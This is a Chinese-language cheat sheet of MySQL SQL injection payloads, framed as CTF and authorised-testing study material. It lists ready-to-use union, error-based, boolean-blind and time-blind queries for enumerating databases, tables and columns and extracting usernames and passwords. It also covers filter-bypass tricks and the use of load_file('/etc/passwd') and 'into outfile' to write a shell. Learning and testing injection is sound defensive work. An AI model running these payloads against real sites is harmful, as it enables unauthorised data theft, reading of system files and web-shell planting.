本文仅用于网络安全技术学习与授权测试交流。任何未经授权使用文中技术的行为均与作者无关请务必遵守法律法规获得许可后方可进行渗透测试。目录一、基本信息获取版本、用户、数据库1.1 当前数据库名1.2 当前数据库用户1.3 数据库版本1.4 当前连接的数据库与 database() 相同1.5 当前用户权限判断是否有 FILE 权限能否写 shell1.6 全局变量常用于判断 secure_file_priv 等二、查所有数据库名2.1 获取所有数据库名标准写法2.2 合并为一行用于联合查询或报错注入2.3 排除系统库只取用户创建的库2.4 带条件筛选根据名称模糊查找2.5 获取第一个数据库名用于盲注逐条获取三、查数据表名3.1 获取当前数据库所有表名3.2 合并为一行3.3 指定数据库名查表非当前库3.4 根据表名模糊查找常用于找 flag 表3.5 获取前 N 个表用于盲注分批获取3.6 按表名长度或字符数排序有时可以用于探测四、查列名4.1 获取指定表的所有列名4.2 合并为一行4.3 指定数据库名4.4 根据列名模糊查找常用于找 flag 列4.5 获取指定表的前 N 个列盲注分批4.6 同时获取列名和数据类型有时报错信息会更明显五、查数据提取内容5.1 整表数据合并为一行5.2 多列数据合并用分隔符区分5.3 添加换行或特殊分隔符方便解析5.4 带条件查询5.5 按顺序获取数据逐行5.6 获取整行所有列联合查询中常用5.7 利用 CONCAT 拼接固定前缀便于定位回显位置六、查字段数量联合查询前提6.1 ORDER BY 探测字段数6.2 UNION SELECT NULL 探测字段数6.3 结合报错信息判断字段数七、information_schema 被禁用时的替代方案7.1 MySQL 5.6 使用 mysql.innodb_table_stats7.2 使用 sys.schema_auto_increment_columns需 sys 库存在7.3 使用 sys.schema_table_statistics7.4 使用 mysql.proc存储过程/函数可能包含表名信息7.5 使用 performance_schema.tables某些版本可用7.6 暴力猜表名字典攻击八、查表名/列名中带空格的替代写法过滤绕过九、MySQL 注入常见函数和关键字速查十、总结一、基本信息获取版本、用户、数据库这些是注入中最先需要获取的信息用于确认数据库类型、版本、权限等。1.1 当前数据库名SELECT database()注入中常用写法根据闭合符调整联合查询-1 UNION SELECT database()报错注入1 AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e)) -- -布尔盲注1 AND ASCII(SUBSTRING((SELECT database()),1,1)) 97 -- -时间盲注1 AND IF(ASCII(SUBSTRING((SELECT database()),1,1)) 97, SLEEP(5), 0) -- -1.2 当前数据库用户SELECT user() SELECT current_user() SELECT system_user()user()返回当前连接的用户包含主机名current_user()返回认证时的用户名system_user()返回系统用户。1.3 数据库版本SELECT version() SELECT versionversion()返回数据库版本字符串如5.7.33-log。version是全局变量等价于version()。1.4 当前连接的数据库与 database() 相同SELECT schema()schema()是database()的别名少用但有时可以用于绕过过滤。1.5 当前用户权限判断是否有 FILE 权限能否写 shellSELECT grantee, privilege_type FROM information_schema.user_privileges WHERE grantee CONCAT(, REPLACE(CURRENT_USER(), , ), )更简化的版本SELECT file_priv FROM mysql.user WHERE user SUBSTRING_INDEX(CURRENT_USER(), , 1)1.6 全局变量常用于判断 secure_file_priv 等SELECT secure_file_priv SELECT datadir SELECT basedir SELECT plugin_dirsecure_file_priv限制INTO OUTFILE和LOAD_FILE的路径空值表示任意路径NULL 表示禁用。datadir数据目录路径。basedirMySQL 安装根目录。plugin_dir插件目录用于 UDF 提权。二、查所有数据库名2.1 获取所有数据库名标准写法SELECT schema_name FROM information_schema.schemata2.2 合并为一行用于联合查询或报错注入SELECT group_concat(schema_name) FROM information_schema.schemata2.3 排除系统库只取用户创建的库SELECT group_concat(schema_name) FROM information_schema.schemata WHERE schema_name NOT IN (information_schema, mysql, performance_schema, sys)2.4 带条件筛选根据名称模糊查找SELECT group_concat(schema_name) FROM information_schema.schemata WHERE schema_name LIKE %ctf%2.5 获取第一个数据库名用于盲注逐条获取SELECT schema_name FROM information_schema.schemata LIMIT 0,1 SELECT schema_name FROM information_schema.schemata LIMIT 1,1 SELECT schema_name FROM information_schema.schemata LIMIT 2,1LIMIT offset, countoffset 从 0 开始。三、查数据表名3.1 获取当前数据库所有表名SELECT table_name FROM information_schema.tables WHERE table_schema database()3.2 合并为一行SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema database()3.3 指定数据库名查表非当前库SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema ctf3.4 根据表名模糊查找常用于找 flag 表SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema database() AND table_name LIKE %flag%3.5 获取前 N 个表用于盲注分批获取SELECT table_name FROM information_schema.tables WHERE table_schema database() LIMIT 0,1 SELECT table_name FROM information_schema.tables WHERE table_schema database() LIMIT 1,13.6 按表名长度或字符数排序有时可以用于探测SELECT table_name FROM information_schema.tables WHERE table_schema database() ORDER BY LENGTH(table_name) DESC四、查列名4.1 获取指定表的所有列名SELECT column_name FROM information_schema.columns WHERE table_schema database() AND table_name flag4.2 合并为一行SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema database() AND table_name flag4.3 指定数据库名SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema ctf AND table_name flag4.4 根据列名模糊查找常用于找 flag 列SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema database() AND column_name LIKE %flag%4.5 获取指定表的前 N 个列盲注分批SELECT column_name FROM information_schema.columns WHERE table_schema database() AND table_name flag LIMIT 0,1 SELECT column_name FROM information_schema.columns WHERE table_schema database() AND table_name flag LIMIT 1,14.6 同时获取列名和数据类型有时报错信息会更明显SELECT column_name, data_type FROM information_schema.columns WHERE table_schema database() AND table_name flag五、查数据提取内容5.1 整表数据合并为一行SELECT group_concat(flag) FROM flag5.2 多列数据合并用分隔符区分SELECT group_concat(CONCAT(id, :, username, :, password)) FROM users5.3 添加换行或特殊分隔符方便解析SELECT group_concat(CONCAT(id, 0x0a, username, 0x0a, password) SEPARATOR 0x0a0a) FROM users0x0a是换行符0x0a0a是双换行。5.4 带条件查询SELECT group_concat(flag) FROM flag WHERE id 1 SELECT group_concat(username) FROM users WHERE role admin5.5 按顺序获取数据逐行SELECT flag FROM flag LIMIT 0,1 SELECT flag FROM flag LIMIT 1,15.6 获取整行所有列联合查询中常用SELECT * FROM flag在联合查询中需要字段数匹配-1 UNION SELECT * FROM flag5.7 利用CONCAT拼接固定前缀便于定位回显位置SELECT CONCAT([, flag, ]) FROM flag SELECT CONCAT(|||, flag, |||) FROM flag六、查字段数量联合查询前提6.1 ORDER BY 探测字段数ORDER BY 1 ORDER BY 2 ORDER BY 3 ... ORDER BY N直到报错Unknown column N in order clause则最大字段数为 N-1。6.2 UNION SELECT NULL 探测字段数UNION SELECT NULL UNION SELECT NULL, NULL UNION SELECT NULL, NULL, NULL ...直到不再报错即为字段数。6.3 结合报错信息判断字段数-1 UNION SELECT 1,2,3,4,5 -- -页面显示的数字即为回显位置。七、information_schema 被禁用时的替代方案很多 CTF 会禁用information_schema或过滤其中的关键字。以下是常用的替代方法7.1 MySQL 5.6 使用mysql.innodb_table_stats-- 查所有库名 SELECT group_concat(database_name) FROM mysql.innodb_table_stats ​ -- 查当前库所有表名 SELECT group_concat(table_name) FROM mysql.innodb_table_stats WHERE database_name database() ​ -- 查所有表名含库名 SELECT group_concat(CONCAT(database_name, ., table_name)) FROM mysql.innodb_table_stats7.2 使用sys.schema_auto_increment_columns需 sys 库存在SELECT group_concat(table_name) FROM sys.schema_auto_increment_columns WHERE table_schema database()7.3 使用sys.schema_table_statisticsSELECT group_concat(table_name) FROM sys.schema_table_statistics WHERE table_schema database()7.4 使用mysql.proc存储过程/函数可能包含表名信息SELECT group_concat(name) FROM mysql.proc WHERE db database()7.5 使用performance_schema.tables某些版本可用SELECT group_concat(table_name) FROM performance_schema.tables WHERE table_schema database()7.6 暴力猜表名字典攻击在布尔盲注或时间盲注中用字典逐条尝试SELECT * FROM flag -- 如果存在则返回内容或页面变化或盲注中判断表是否存在1 AND (SELECT COUNT(*) FROM flag) 0 -- -八、查表名/列名中带空格的替代写法过滤绕过场景替代写法空格被过滤用/**/或%0a或%09代替空格information_schema被过滤用%0ainformation_schema%0a或information_schema拆分SELECT被过滤用SeLeCt大小写混淆或用/*!50000SELECT*/table_name被过滤用table_schema替代部分查询或使用反引号table_namegroup_concat被过滤用concat_ws、concat 多次查询 盲注等号被过滤用LIKE或IN或逗号被过滤用JOIN或FROM替代或在 SUBSTRING 中用FROM...FOR...九、MySQL 注入常见函数和关键字速查函数/关键字用途database()当前数据库名user()当前用户version()数据库版本datadir数据目录路径secure_file_priv文件读写限制load_file(/etc/passwd)读取服务器文件需要 FILE 权限into outfile /path/shell.php写文件到服务器需要 FILE 权限benchmark(1000000, md5(1))制造大量计算负载可用于时间盲注sleep(N)延迟 N 秒时间盲注核心extractvalue(1, concat(0x7e, query))报错注入32 字符限制updatexml(1, concat(0x7e, query), 1)报错注入32 字符限制floor(rand(0)*2)group by报错注入主键冲突if(condition, true_val, false_val)条件判断case when condition then val1 else val2 end条件判断替代 ifsubstring(str, pos, len)截取字符串从 1 开始substr(str, pos, len)同 substringmid(str, pos, len)同 substringlength(str)字符串长度ascii(str)第一个字符的 ASCII 码hex(str)十六进制编码concat(str1, str2)字符串拼接concat_ws(sep, str1, str2)带分隔符的拼接group_concat(str)多行合并为一行十、总结掌握了以上 SQL 语句你可以在任何 MySQL 注入场景中灵活应对联合查询直接用SELECT配合UNION重点在group_concat和字段数探测。报错注入使用extractvalue或updatexml套上concat(0x7e, (...), 0x7e)。布尔盲注用ASCII(SUBSTRING((...), pos, 1))配合二分查找。时间盲注在布尔盲注基础上套上IF(... , SLEEP(N), 0)。如果information_schema被禁用优先尝试mysql.innodb_table_stats和sys库。如果都被禁用只能采用暴力猜表名 盲注逐字段提取。